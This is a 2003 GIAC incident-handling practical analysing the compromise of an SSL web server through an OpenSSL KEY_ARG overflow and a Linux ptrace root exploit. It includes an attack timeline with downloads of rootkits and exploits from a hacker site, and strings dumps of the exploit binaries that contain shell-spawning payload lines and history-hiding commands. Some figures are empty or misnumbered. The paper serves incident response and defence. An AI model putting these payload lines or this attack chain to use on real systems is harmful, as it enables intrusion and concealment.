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A J0k3r Takes Over

By

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GCIH Version 2.1a
Practical Assignment
Option 1: Exploit in Action
October 7, 2003
Table of Contents

Executive Summary .................................................................................................................. 3

Part 1: The Exploit .................................................................................................................. 3
  Introduction ............................................................................................................................ 3
  Exploit and Vulnerability Names ............................................................................................ 4
  Potentially Vulnerable Operating Systems ............................................................................. 4
  Protocols/Services/Applications .............................................................................................. 5
  Brief Exploit Description ........................................................................................................ 6
  Variants .................................................................................................................................. 6
  References .............................................................................................................................. 6

Part 2: The Attack ................................................................................................................... 7
  Introduction ............................................................................................................................ 7
  Description and Diagram of the Network ................................................................................. 10
  Protocol Description .............................................................................................................. 11
  How the Exploit Works .......................................................................................................... 13
  Description and Diagram of the Attack ................................................................................. 24
  Signature of the Attack .......................................................................................................... 37
  How to Protect against the Attack ......................................................................................... 38

Part 3: The Incident Handling Process .................................................................................... 39
  Introduction ............................................................................................................................ 39
  Preparation ............................................................................................................................ 39
  Incident, Warning, and Advisory Response ............................................................................ 40
    A. Incident Response ............................................................................................................. 40
    B. Warning and Advisory Response .................................................................................... 40
    C. Incident Response Team Composition ............................................................................. 41
  Identification .......................................................................................................................... 42
  Containment ........................................................................................................................... 54
  Eradication ............................................................................................................................. 55
  Recovery .................................................................................................................................. 56
  Lessons Learned .................................................................................................................... 56

Appendix B: ptrace-kmod.c ................................................................................................... 62
Executive Summary

This paper describes an actual incident involving the complete compromise of a single externally accessible SSL-enabled web server. The attacker has been dubbed “J0k3r” based on a tool bundle used during the course of the attack. The material covered includes the vulnerability, the exploit and specific attack details, and the incident handling process as it was used in addressing the incident. Annotated logs and attack analysis include the results compiled by the site core incident handling team which consists of three staff members; the two full-time security team members and one “as needed” system administrator.

Part 1: The Exploit

Introduction

The complete compromise of this machine required the attacker to exploit two specific system vulnerabilities. To gain the initial access, the attacker took advantage of a remotely exploitable vulnerability in OpenSSL. The privilege escalation that was required for the attacker to completely own the machine was facilitated by the machine’s vulnerability to a local ptrace exploit. Both of the exploits used in the attack will be discussed in this paper with perhaps more emphasis on the remotely exploitable vulnerability since this provided the linchpin for the attack. Had that avenue proven unsuccessful, the J0k3r would not have gained a foothold on the site.

The tools I suggest as the culprits here for exploiting the system vulnerabilities are suspected for a variety of reasons. Scan activity recorded during the event indicates a search on the SSL port 443, and an error message related to the key exchange process was indicated in the SSL logs on that server. The records of network interaction between that server and the attackers machine are consistent with “openssl-too-open” and its derivative tools. Other network-based logs like the firewall, ID system, and tcpdump-based packet-header capture logs, provided further clues. In addition, an examination of a forensic image of the disk using the Autopsy forensics tool helped complete the picture of the attack. The wget commands issued by the attacker implicated the hacker tool repository located at http://www.caponesworld.org. While this repository has since been replaced or hidden, a capture of all of the tools available at the time had been made during the investigative process. That repository contained all of the tools required for the execution of this attack. Google and other search engine searches performed during the investigation for the tools downloaded onto the machine during the attack solely implicated that site. The primary tool bundle was called j0k3r.tgz which contained DDOS attack tools as well as the Adore LKM.
**Exploit and Vulnerability Names**

Remote Vulnerability Name:

“OpenSSL Malformed Client Key Remote Buffer Overflow Vulnerability”
CVE: CAN-2002-0656
CERT: VU#102795
[http://www.kb.cert.org/vuls/id/102795](http://www.kb.cert.org/vuls/id/102795)

Remote Exploit Tool:

a – analysis shows it is a derivative of Solar Eclipse’s “openssl-too-open”
This tool was available Jun 23, 2003 from the following website
[http://www.caponesworld.org](http://www.caponesworld.org). The site has since become the site for some
module for the computer game Half-Life. However, a copy was preserved during
the incident investigation.

Local Vulnerability Name:

“Ptrace hole/Linux 2.2.X”
CVE: CAN-2003-0127

Local Exploit Tool:

pp – an executable that performed the ptrace exploit. This file was found
on the compromised file system during the investigation. Also, as above, this
tool was available Jun 23, 2003 from the website [http://www.caponesworld.org](http://www.caponesworld.org).

**Potentially Vulnerable Operating Systems**

The remote exploit could potentially affect any operating system that runs
Apache and OpenSSL 0.9.6d or earlier. The combination of Apache and
OpenSSL is commonly encountered on the plethora of Linux distributions, in
addition to the variety of Unixes. An extensive list of potentially vulnerable
operating systems can be found at SecurityFocus’s website
[http://online.securityfocus.com/bid/5363](http://online.securityfocus.com/bid/5363). This list shows that, in addition to the
*nix derivatives, Microsoft Windows flavors and Apple MacOS X systems are
also potentially vulnerable targets.

The local ptrace exploit can be used against a variety of Linux distributions. An
extensive list is available at [http://online.securityfocus.com/bid/7112](http://online.securityfocus.com/bid/7112). Basically,
any system that uses Linux kernel versions 2.2.x prior to 2.2.25 and 2.4.x prior to
a patched 2.4.20
Protocols/Services/Applications

The remote exploit is directed at OpenSSL’s flawed implementation of the SSL protocol. It affects installations of the web server, Apache and OpenSSL versions 0.9.6d and previous. The model tool, openssl-too-open, contained specific offsets for a variety of standard installations. These are shown in the Table 1 below. The tool used here named “a”, however, indicates that the need for predetermined offsets has been eliminated, so even custom compiled versions of the applications must also be considered vulnerable. It is also possible that other applications that make use of OpenSSL could be effected.

Table 1: Configurations Explicitly Vulnerable to openssl-too-open

<table>
<thead>
<tr>
<th>Operating System Version</th>
<th>Apache Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mandrake Linux 8.2</td>
<td>apache-1.3.23-4</td>
</tr>
<tr>
<td>Mandrake Linux 8.1</td>
<td>apache-1.3.20-3</td>
</tr>
<tr>
<td>Mandrake Linux 8.0</td>
<td>apache-1.3.19-3</td>
</tr>
<tr>
<td>Mandrake Linux 7.1</td>
<td>apache-1.3.14-2</td>
</tr>
<tr>
<td>SuSE Linux 8.0</td>
<td>apache-1.3.23</td>
</tr>
<tr>
<td>SuSE Linux 8.0</td>
<td>apache-1.3.23-137</td>
</tr>
<tr>
<td>SuSE Linux 7.3</td>
<td>apache-1.3.20</td>
</tr>
<tr>
<td>SuSE Linux 7.2</td>
<td>apache-1.3.19</td>
</tr>
<tr>
<td>SuSE Linux 7.1</td>
<td>apache-1.3.17</td>
</tr>
<tr>
<td>SuSE Linux 7.0</td>
<td>apache-1.3.12</td>
</tr>
<tr>
<td>RedHat Linux 7.3</td>
<td>apache-1.3.23-11</td>
</tr>
<tr>
<td>RedHat Linux 7.2</td>
<td>apache-1.3.22</td>
</tr>
<tr>
<td>RedHat Linux 7.2</td>
<td>apache-1.3.26</td>
</tr>
<tr>
<td>Redhat Linux 7.2</td>
<td>apache-1.3.26 w/PHP</td>
</tr>
<tr>
<td>RedHat Linux 7.2</td>
<td>apache-1.3.20-16</td>
</tr>
<tr>
<td>RedHat Linux 7.1</td>
<td>apache-1.3.19-5</td>
</tr>
<tr>
<td>RedHat Linux 7.0</td>
<td>apache-1.3.12-25</td>
</tr>
<tr>
<td>RedHat Linux 6.2</td>
<td>apache-1.3.12-2</td>
</tr>
<tr>
<td>RedHat Linux 6.1</td>
<td>apache-1.3.9-4</td>
</tr>
<tr>
<td>RedHat Linux 6.0</td>
<td>apache-1.3.6-7</td>
</tr>
<tr>
<td>Slackware 8.1-stable</td>
<td>apache-1.3.26</td>
</tr>
<tr>
<td>Slackware 7.0</td>
<td>apache-1.3.26</td>
</tr>
<tr>
<td>Debian Woody GNU/Linux 3.0</td>
<td>apache-1.3.26-1</td>
</tr>
<tr>
<td>Gentoo</td>
<td>apache-1.3.24-r2</td>
</tr>
</tbody>
</table>

The local ptrace exploit exploits a flaw in the Linux kernel for kernel versions prior to 2.2.25 and 2.4.20 patched.
**Brief Exploit Description**

The remote exploit of OpenSSL is an overflow during the key exchange portion of the SSL protocol. The overflow of KEY_ARG and element of an SSL_SESSION enables the user to gain shell access with the userid of the web server process. The exploit bundle comes with scanners to test IP spaces for vulnerable servers and the actual attack tool.

The ptrace exploit allows a malicious user to take advantage of the ability to connect to a process using the ptrace system call before the euid and egid of the child process is set to root (0). The user can insert any code into the process that will be run with full superuser privileges.

**Variants**

There is an astonishing array of variants of attack tools for the remote OpenSSL vulnerability. They seem to be primarily tweaks to the original tool referenced above which was created by Solar Eclipse. The hacker repository discovered during this incident investigation had at least three modified versions of the original tool in different bundles. One fairly expansive mass rooter was available called cnxmass. This tool had extended the scanning capabilities and incorporated easier tracking of compromised hosts. In general, the primary differences in the tools used to exploit this vulnerability are that more functionality was added to the base code. This added functionality often includes the offsets required to compromise more systems, or as in our case, the elimination of the need for offset tables entirely. Also, the tool variants are modified or bundled with a variety of supporting utility programs to allow easier more automated mass- or auto- rooting processes. Finally, The Slapper worm took advantage of the same vulnerability to spread itself when it emerged in September of 2002.

The ptrace vulnerability also has a variety of tools written to take advantage of its flaw. A reference tool called km3.c ([http://august.v-lo.karkow.pl/~anszom/km3.c](http://august.v-lo.karkow.pl/~anszom/km3.c)) was posted to the bugTraq mailing list March 19, 2003.

**References**

In addition to the informational links provided above, the following sources contribute further information about the nature of the vulnerabilities exploited in this incident.

OpenSSL Security Advisory 30 July 2002

Because the specific tool I indicate as the most likely used in this case is no longer available, here is the original exploit tool by Solar Eclipse.
http://packetstormsecurity.org/0209-exploits/openssl-too-open.tar.gz

More information about the ptrace vulnerability can be found here http://www.linuxsecurity.com/advisories/redhat_advisory-3301.html

Here is part of the discussion from the bugTraq list. http://lists.insecure.org/lists/bugtraq/2003/Mar/0276.html

**Part 2: The Attack**

**Introduction**

The core incident handling team, including me and one other staff member as primary investigators with support from our security manager, generated the following timeline of events detailing the attack. This timeline was generated based on information from a variety of sources that provided a complete picture of the attack from both the system and network side.

On the network side, all the headers for network traffic to and from the site is routinely captured and stored for about two weeks. This traffic included the first two bytes of the packet payload for every packet exchanged between our server and the machine from which J0k3r was attacking. Also, firewall and IDS logs were used to correlate events and provide supplemental information.

J0k3r left a lot of clues on the server itself as well. Analysis of a forensic copy of the disk was done using the Autopsy forensic browser tool. This provided extensive information about files copied to the system, which files and directories were accessed on the system during the course of the attack, and clues about general usage during and after the attack. In addition, the preserved log files yielded more clues.

The day the investigation started, a search was initiated on the web for the attack tools. At first, there were no hits from any of the major search engines, but within a day or so, the j03ker.tgz file was found on the GeoCities hosted site called www.caponesworld.org, which was determined to be some sort of hacker tool archive. Upon this discovery, the entire archive was copied to a local disk, and each of the tools available (59 bundles total) was examined. Tools were found that either matched or were very similar to the tools downloaded onto the compromised machine, and also tools that could have been used to perform the attack were discovered. Based on this bit of circumstantial evidence, I suspect that all of the tools used in the attack originated from that site.

As can be clearly seen from the timeline, J0k3r executed a nearly “text-book” attack consisting of scanning the network, exploiting a discovered vulnerability,
keeping access to the machine, and covering the tracks left by the attack. In lieu of a specific reconnaissance phase, it appears that our base address space was just picked randomly for attack. The actual attack began with scanning the network for machines listening on port 443. Once J0k3r found some listening machines, he tested them for the vulnerability. He then successfully ran the exploit against the one externally accessible vulnerable machine. Once he had a login, he elevated his privilege, and set up to keep access with the installation of backdoor listeners. Finally, the J0k3r engaged in several techniques in an attempt to hide his tracks ranging from the use of the adore LKM to utilizing scripted log cleaners, and storing tools in hidden directories.

Timeline of Events
------------------

02:14:42  J0k3r starts scanning our class B IP space for machines listening on port 443. For each machine, he runs a quick "check" to see if they have the OpenSSL master key exchange vulnerability, but the actual exploit is only performed if the vulnerability exists. This is consistent with the behavior of the c.tgz tool bundle that contains the scanner and exploit code. The tool most likely being used is called "ssl3"

02:15:35  J0k3r verifies that the SSL server is a vulnerable server.

02:15:37  J0k3r tries to connect to port 80 to gather server and module version information for his exploit, but there was no port 80 server configured. This is probably the tool "prob"

02:18:47 - 02:19:07  J0k3r uses his exploit code, "a", and gains a shell on the server, with the UID of the apache process. He leaves the connection open.

-------------  The exploited connection is open and idle several hours

04:19:06  The firewall times out the active connection.

12:57:32  J0k3r returns, trying to use the establish connection but it had timed out, so the firewall blocks it. After several retransmits, the J0k3r’s session times out too.

12:59:03  J0k3r runs the same exploit code to establish a new session with the server, and is successful again.

12:59:32  J0k3r runs a command starting with "un", probably "uname"
12:59:37  J0k3r runs "cd" (cd /var/tmp)

12:59:40  J0k3r runs "wget" to get "pp" from caponesworld.org

12:59:55  J0k3r runs "wget" again to get "j0k3r.tgz" from caponesworld.org. The actual file was deleted and the inode reallocated, but the extracted contents were consistent with the version found on the archive. The file sizes differ slightly, so we may have had a slightly older version.

UNKNOWN  J0k3r untars /var/tmp/j0k3r.tgz into /var/tmp/j0k3r

13:00:07  J0k3r appears to execute the local ptrace exploit, "pp" After several attempts, it is successful.

13:00:57  This is the earliest time by which we know J0k3r gained root permissions. This is when his "id" command returned "root", and was detected by the IDS

13:01:04  J0k3r extracts binary attack tools into /dev/rd/cdb. The command for extracting, compiling, and installing the tools and adore was most likely all on one command line. (tar xzf j0k3r.tgz ; cd j0k3r; ./install) The bundle contained the adore LKM, ssh-based backdoor listener called cons.saver, and assorted utility tools. The tools contained in the bundle are:

<table>
<thead>
<tr>
<th>Name</th>
<th>Variant</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>slice2</td>
<td>sl3y</td>
<td>DoS tool</td>
</tr>
<tr>
<td>wipe</td>
<td>wpe</td>
<td>Cleans wtmp, utmp and lastlog</td>
</tr>
<tr>
<td>vadim</td>
<td>voda</td>
<td>DoS</td>
</tr>
<tr>
<td>st</td>
<td>&quot;stealth&quot; DDoS tool</td>
<td></td>
</tr>
<tr>
<td>str.sh</td>
<td>string-wiper</td>
<td>Shell script, cleans all files in /var/log to remove all log entries matching a string the attacker provides</td>
</tr>
<tr>
<td>slice v2</td>
<td>s</td>
<td>DoS tool</td>
</tr>
<tr>
<td>papa-smurf</td>
<td>smurf5</td>
<td>SMURF attack tool</td>
</tr>
</tbody>
</table>

13:01:11  The install script has finished, and has copied adore startup script into /etc/rc(2,3,4,5).d/S90rpcmap so the rootkit will start at system boot. It also compiled the adore module and the adore control script and his Trojan SSHD.

13:01:11  J0k3r runs the S90rpcmap script, which among other things, starts a cleaner program on everything in /var/log to delete all log entries
matching some string. It also starts the ssh-based backdoor
listeners on ports 20 and 8250.

13:01:41 /var/tmp/j0k3r is deleted

13:01:52 - Various IP addresses try to connect to the cons.saver
13:02:04 backdoors but are blocked by the site's firewall.

13:02:29 J0k3r runs iptables, probably to see if his backdoors are being
blocked by a host-based firewall. He plays with this several times
over the next minute.

13:03:04 - J0k3r tries again to connect to his backdoor and is
13:03:19 blocked

13:03:27 J0k3r gives iptables another try

13:03:31 J0k3r does the backdoor probe again, and is once again denied.

13:03:48 Attacker uses wget to fetch the SucKIT rootkit. This is also to the
caponesworld.org tools repository. The most likely reason is that
SucKIT can shovel shell outward from the target machine, and he's
not having any luck with the backdoor he already planted. He
wants a different approach. He downloads /dev/rd/cdb/inst, a shell
script that extracts and runs the rootkit and the password sniffer.

13:04:52 After changing permissions on the file he just downloaded, he runs
it, installing SucKIT.

13:05:12 He runs the "sk" SucKIT binary for the first time.

13:05:21 J0k3r's session dies. There are several indications that having both
adore and SuckIT installed destabilized the system.

13:05:28 J0k3r terminates dead session.

Description and Diagram of the Network
As shown in Figure 1 above, the site has some access controls installed on a filtering router as well as on the site firewall. The basic security posture is “default deny,” with explicit blocks added for IP addresses that have been determined to have been scanning or attacking the network. The victim machine had a static mapping for its IP address since the firewall uses NAT, and penetrations for connections to the machine on ports 80 and 443. All other external access to the server was denied. Several other web servers also on the intranet backbone with a variety of configurations were scanned, but they did not prove vulnerable to the attack.

Protocol Description

As discussed earlier, two different weaknesses were exploited in the commission of this attack. Here I will briefly discuss both the SSL handshake protocol, which allowed the remote exploit, and the kernel flaw that allowed the privilege elevation giving J0k3r complete control of the system.
The initial phase of this attack exploited a remotely accessible vulnerability that was a flaw in OpenSSL's implementation of the SSL protocol version 2 (Secure Socket Layer). This protocol was proposed by Netscape in 1994 to secure information communicated between a web server and a web browser client. The IETF has a standard based on the SSL protocol version 3, which is called Transport Layer Security (TLS) that is specified in RFC2246.

The initial protocol negotiation between the client and the server that is the basis for setting up the encrypted channel is called a “handshake.” It is OpenSSL’s implementation of the SSLv2 handshake that contains the vulnerability exploited in this attack.

According the Netscape’s SSL protocol specification document (http://wp.netwscap.com/eng/security/SSL_2.html), the handshake consists of two distinct phases. The first phase provides the ability for private communication; the second phase is used when client side authentication is desired. For our purposes, we will examine solely the first phase of the protocol. Further, the protocol has the ability to maintain a notion of “session” utilizing a session-id token, but the maintenance of a session is not relevant to this attack, and so we will also not consider this condition of an earlier session.

Conceptually, the first phase of the handshake begins with an exchange of “hello” messages initiated by the client. Each “hello” message contains information about the available ciphers. The CLIENT-HELLO also contains a bit of challenge data. This SERVER-HELLO message includes the server's certificate and connection-id in addition to the cipher specifications. The information in the SERVER-HELLO is used by the client to generate a master_key. The generated master_key is sent to the server in a CLIENT-MASTER-KEY message. In this message, the master_key is sent encrypted by the server’s public_key. The client then sends its last handshake packet that contains the connection_id encrypted with the client_write_key. The server responds with the SERVER-VERIFY message that contains the challenge data encrypted with the server’s server_write_key. This message serves to authenticate the server, as only the server with the appropriate private key corresponding to the transmitted public_key would know the master_key sent from the client. Finally, the end of the handshake is signified by the exchange of the SERVER-FINISHED message, which contains a session_id for the session that is encrypted with the server_write_key. After this exchange, the session continues layered over the now SSL encrypted channel. Figure 2 shows the SSL version 2 handshake. The curly-brace notation used in the figure shows that the data within the braces has been encrypted the key indicated outside the braces.
The second system that fell to the attacker was a race condition flaw in the Linux kernel that allowed an unprivileged user to use the ptrace system call to attach to a privileged executable. From the man pages, “the ptrace system call provides a means by which a parent process may observe and control the execution of another process, and examine and change its core images and registers.” The ptrace call is primarily used for system troubleshooting and debugging.

How the Exploit Works
The source code for the specific tool, called “a”, which contains the actual remotely executable OpenSSL exploit, was not available, and so the analysis of how the exploit works will be done with respect to the most likely model-tool, openssl-too-open.

The exploit performed by openssl-too-open is a heap-overflow, which means it is an overflow of a structure dynamically allocated in main memory. The exploit takes advantage of the fact that the server code in the get_client_master_key function (see Appendix A) accepts data longer than what was expected for the KEY_ARG variable while parsing the incoming data into the SSL_SESSION structure (Appendix A). The protocol specification requires that the client send key size, yet the code sets an explicit expected value for SSL_MAX_KEY_ARG_LENGTH, and then does not test the validity of the incoming data. The get_client_master_key function is responsible for handling the CLIENT_MASTER_KEY message described in the protocol handshake above. The overflow does not complete the exploit process, the ability to get an interactive shell relies on the ability to trick the free() call into passing control to malicious shell code. The attack steps are shown in Figure 3 below.

**Figure 3: Openssl-too-open exploit steps**

<table>
<thead>
<tr>
<th>Activity</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>Attacker initiates an SSLv2 handshake with the specification of a large session-id length</td>
<td>Gather address for data structures to use as the basis for structure needed for the free() exploit which is returned in the SERVER_FINISH message</td>
</tr>
<tr>
<td>Open significant number of SSL connections to the server (20-50)</td>
<td>To force apache to spawn child process, allowing the creation of a predictable heap space and the verification to the aforedetermined addresses</td>
</tr>
<tr>
<td>Send new SSL request</td>
<td>Determine address of shell code</td>
</tr>
<tr>
<td>Send another SSL request</td>
<td>Set the Global Offset Table (GOT) entry for free() to the shell code address</td>
</tr>
<tr>
<td>Send CLIENT_FINISHED message with wrong session_id value</td>
<td>Server free()s allocated memory because of the “failure,” which causes the shell code to be executed</td>
</tr>
</tbody>
</table>

This process is described in detail in Chia-Ling Lee’s GCIH practical “Port 443 and Openssl-too-open” ([http://www.giac.org/practical/GCIH/Chia_Ling_Lee_GCIH.pdf](http://www.giac.org/practical/GCIH/Chia_Ling_Lee_GCIH.pdf)). In addition, Phrack has a good article with the technical details available at [http://proxy.11a.nu/mirror/p57-0x09.txt](http://proxy.11a.nu/mirror/p57-0x09.txt).
I have suggested that the tool named “a” from the c.tgz bundle was used in perpetrating this attack, however since I lack the source code I can’t show exactly how it works. However, a “strings”-based comparison of the “a” binary and the model tool, “openssl-too-open” show that these tools are clearly closely related. The openssl-too-open source is available with an extensive readme file describing how the attack works. The source code is also well analyzed in Chia-Ling Lee’s paper referenced above.

**Figure 4: Strings analysis of “a” exploit tool**
Connection closed after SSL_SESSION_free, possible server crash due to an unsupported architecture, a problem with the stage1 shellcode or a miscalculated address. Less than 4 bytes read from stage1. This was not supposed to happen. Tags don't match. This was not supposed to happen. Execution of stage1 shellcode succeeded, sending stage2. * Spawning shell... Usage: %s [options] <host>
-p <port> SSL port (default is 443)
-c <N> open N apache connections before sending the shellcode (default is 30)
-m <N> maximum number of open connections (default is 50)
-v verbose mode
Examples: %s -v localhost
%02x %02x %02x %02x, expected %02x %02x %02x %02x
Execution of stage1 shellcode succeeded, sending stage2.
* Spawning shell...
- this is good
Server error: SSL2_PE_NO_CERTIFICATE (0x02)
Server error: SSL2_PE_BAD_CERTIFICATE (0x03)
Server error: SSL2_PE_UNSUPPORTED_CERTIFICATE_TYPE (0x06)
Unrecognized server error: 0x%02x
Error in read: %s
Connection unexpectedly closed
read_ssl_packet: Record length out of range (rec_len = %d)
read_ssl_packet: Encrypted message is too short (rec_len = %d)
read_ssl_packet: Malformed server error message
send_ssl_packet: Record length out of range (rec_len = %d)
Error in send: %s
-> send_client_hello
-> get_server_hello
get_server_hello: Packet too short (len = %d)
get_server_hello: Expected SSL2_MT_SERVER_HELLO, got 0x%02x
get_server_hello: SESSION-ID-HIT is not 0
get_server_hello: CERTIFICATE-TYPE is not SSL_CT_X509_CERTIFICATE
get_server_hello: Unsupported server version %d
get_server_hello: Malformed packet size
get_server_hello: Cannot parse x509 certificate
get_server_hello: CIPHER-SPECS-LENGTH is not a multiple of 3
get_server_hello: Remote server does not support 128 bit RC4
get_server_hello: CONNECTION-ID-LENGTH is too long
-> send_client_master_key
send_client_master_key: No public key in the server certificate
send_client_master_key: The public key in the server certificate is not a RSA key
send_client_master_key: RSA encryption failure
-> generate_session_keys
-> get_server_verify
Connection closed after KEY_ARG data was sent. Server is most likely not vulnerable.
After KEY_ARG data was sent. Server is not vulnerable.
get_server_verify: Malformed packet size
get_server_verify: Expected SSL2_MT_SERVER_VERIFY, got 0x%02x
get_server_verify: Challenge strings don't match
-> send_client_finished
-> get_server_finished
Connection closed while waiting for the SERVER_FINISHED message. This was not supposed to happen.
while waiting for the SERVER_FINISHED message. This was not supposed to happen.
get_server_finished: Expected SSL2_MT_SERVER_FINISHED, got %02x
get_server_finished: Session data too short (%d bytes)
get_server_finished: Session data too long (%d bytes)
-> get_server_error
get_server_error: %s
Connection closed after SSL_SESSION_free was executed. Server crashed.
This server is not vulnerable to the attack.
cipher=0x%08x, ciphers=0x%08x, ssl_addr=0x%08x, ssl_sess_addr=0x%08x, start_addr=0x%08x
func addr: 0x%08x, hellcode addr: 0x%08x
Linux x86 Malloc Chunk
export HISTFILE=/dev/null; echo; echo ' >>>>  GAME OVER! Hackerz Win ;) <<<<<'; echo; echo; echo "***** I AM IN `hostname -f` *****/ echo; if [ -r /etc/redhat-release ]; then echo `cat /etc/redhat-release`; elif [ -r /etc/suse-release ]; then echo SuSe `cat /etc/suse-release`; fi; echo Slackware `cat /etc/slackware-version`; then echo Slackware `cat /etc/slackware-version`; fi; echo; id; echo -AAAAA1
9izu
hEv
PPh/sh/h/bin D$
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
AAAAAAAAAAAAA
@AAA
AAAAAAA
fddbkbk

Figure 5: Strings analysis of "openssl-too-open" for comparison
/lib/ld-linux.so.2
libcrypto.so.0.9.6
_DYNAMIC
_init
_fini
GLOBAL_OFFSET_TABLE_
gmon_start_
MD5_Init
MD5_Update
MD5_Final
d2i_X509
X509_get_pubkey
RSA_public_encrypt
RC4_set_key
libc.so.6
strcpy
stdout
connect
strerror
memmove
usleep-
gets
memcopy
__cxa_finalize
malloc
optarg
socket
select
fflush
bzero
send
__register_frame_info_bases
write
strcat
ntohl
deregister_frame_info
optind
stdin
deregister_frame_info
_bases
read
cmp
scanf
getopt
srand
ntohs
inet_ntoa
gethostbyname
sprintf
htons
erno_location
exit
atoi
fileno
_IO_stdin_used
__libc_start_main
strlen
fputs
__register_frame_info_close
free
gethostname
__etext__edata
__bss_start
_end
GLIBC_2.1.3
GCC_3.0
GLIBC_2.0
PTRh
?PD|[^_]
TERM=xterm; export TERM=xterm; exec bash -i
uname -a; id; w;
Error in read: %s
Stage2 shellcode failed.
Connection closed.
: Sending shellcode
Connection closed after SSL_SESSION_free, possible server crash due to
an unsupported architecture, a problem with the stage1 shellcode
or a miscalculated address.
Less than 4 bytes read from stage1. This was not supposed to happen
Tags don't match. This was not supposed to happen.
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
Usage: %s [options] <host>
-a <arch>          target architecture (default is 0x00)
-p <port>          SSL port (default is 443)
-c <N>             open N apache connections before sending the shellcode (default is 30)
-m <N>             maximum number of open connections (default is 50)
-v                 verbose mode
Supported architectures:
Examples: %s -a 0x01 -v localhost
%02x %02x %02x %02x
0x%02x - %s
Can't open more than %d connections
The -m parameter should be larger than the -c parameter.
Unable to resolve address %s
% has multiple IP addresses, please select one of them
: Opening %d connections
: Establishing SSL connections
: Using the OpenSSL info leak to retrieve the addresses
0x%02x
* Addresses don't match.
* Connection closed.
* Shellcode failed.
Connections limit reached. Could not exploit host.
Can't get local port: %s
Could not create a socket
Connection failed: %s
-> ssl_connect_host
Can't allocate memory
Server error: SSL2_PV_UNDEFINED_ERROR (0x00)
Server error: SSL2_PV_NO_CIPHER (0x01)
Server error: SSL2_PV_NO_CERTIFICATE (0x02)
Server error: SSL2_PV_BAD_CERTIFICATE (0x03)
Server error: SSL2_PV_UNSUPPORTED_CERTIFICATE_TYPE (0x06)
Unrecognized server error: 0x%02x
Error in read: %s
Connection unexpectedly closed
read_ssl_packet: Record length out of range (rec_len = %d)
read_ssl_packet: Encrypted message is too short (rec_len = %d)
read_ssl_packet: Malformed server error message
send_ssl_packet: Record length out of range (rec_len = %d)
Error in send: %s
-> send_client_hello
-> get_server_hello
get_server_hello: Packet too short (len = %d)
get_server_hello: Expected SSL2_MT_SERVER_HELLO, got 0x%02x
get_server_hello: SESSION-ID-HIT is not 0
get_server_hello: CERTIFICATE-TYPE is not SSL_CT_X509_CERTIFICATE
get_server_hello: Unsupported server version %d
get_server_hello: Malformed packet size
get_server_hello: Cannot parse x509 certificate
get_server_hello: CIPHER-SPECs-LENGTH is not a multiple of 3
get_server_hello: Remote server does not support 128 bit RC4
get_server_hello: CONNECTION-ID-LENGTH is too long
-> send_client_master_key
send_client_master_key: No public key in the server certificate
send_client_master_key: The public key in the server certificate is not a RSA key
send_client_master_key: RSA encryption failure
-> get_server_verify
Connection closed after KEY_ARG data was sent. Server is most likely not vulnerable.
after KEY_ARG data was sent. Server is not vulnerable.
get_server_verify: Malformed packet size
get_server_verify: Expected SSL2_MT_SERVER_VERIFY, got 0x%02x
get_server_verify: Challenge strings don't match
-> send_client_finished
-> get_server_finished
Connection closed while waiting for the SERVER_FINISHED message. This was not supposed to happen.
while waiting for the SERVER_FINISHED message. This was not supposed to happen.
get_server_finished: Expected SSL2_MT_SERVER_FINISHED, got %02x
get_server_finished: Session data too short (%d bytes)
get_server_finished: Session data too long (%d bytes)
-> get_server_error
This server is not vulnerable to the attack.
ciphers: 0x%x   start_addr: 0x%x   SHELLCODE_OFS: %d
Linux x86 Malloc Chunk
-AAAA1
9izu
Ph/shh/bin
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
AAAAAAAAAAA
AAAA
AAAAAAA
fdidbk

Figure 6 below shows the results from running the tool from the command line.

**Figure 6: Running "a"**

user@mymachine> ./a^M
The ptrace vulnerability is a fairly simple local attack that basically takes advantage of a race condition between the kernel spawning a child process, and when the effective user and group identification numbers are changed to a privileged level. Andrzej Szombierski’s explanation of the vulnerability was posted to bugTraq and included a link to the sample exploit tool km3.c (a repost is available at http://www.oclug.on.ca/pipermail/oclug/2003-March/028723.html). His post indicates that when a user process requests a feature that is stored in a loadable module, the kernel spawns a child process to handle the request. The kernel then sets the euid (effective userid) and egid (effective groupid) of the process to 0, which is the superuser. The process calls “execve (“/sbin/modprobe”). The race condition exploited is that before the euid is changed, the malicious user’s process can connect to the kernel’s spawned child
using ptrace. As Andrzej says, at this point “Game over, the user can insert any code into a process which will be run with the superuser privileges.” In our case, the tool “pp” will spawn an interactive root shell for the user. The ptrace exploit process is shown in Figure 4.

**Figure 7: ptrace attack**

The tool used in this case was discovered as a binary file, so its specific source code is unknown. However, some analysis of the file shows that it apparently is very closely related to the exploit ptrace-kmod.c published by Wojciech Purczynski (http://downloads.securityfocus.com/vulnerabilities/exploits/ptrace-kmod.c). Running “strings” on the “pp” binary file provides the information contained in Figure 4. Results from running “strings” on the compiled ptrace-kmod.c are shown is Figure 5. These results are remarkably similar, so much so, that I suggest that the source code is effectively the same, and have included it as Appendix B.

**Figure 8: Strings analysis of "pp" binary**

/lib/ld-linux.so.2
Figure 9: Strings results from compiled ptrace-kmod.c

/lib/ld-linux.so.2
libc.so.6
geteuid
getpid
memcpy
execl
perror
readlink
__cxa_finalize
system
socket
alarm
__register_frame_info_bases
fprintf
kill

-[-] Unable to read /proc/self/exe
-[-] Unable to write shellcode
[+] Signal caught
-[-] Unable to read registers
[+] Shellcode placed at 0x%08lx
[+] Now wait for suid shell...
-[-] Unable to detach from victim
-[-] Fatal error
-[-] Unable to attach
[+] Attached to %d
-[-] Unable to setup syscall trace
[+] Waiting for signal
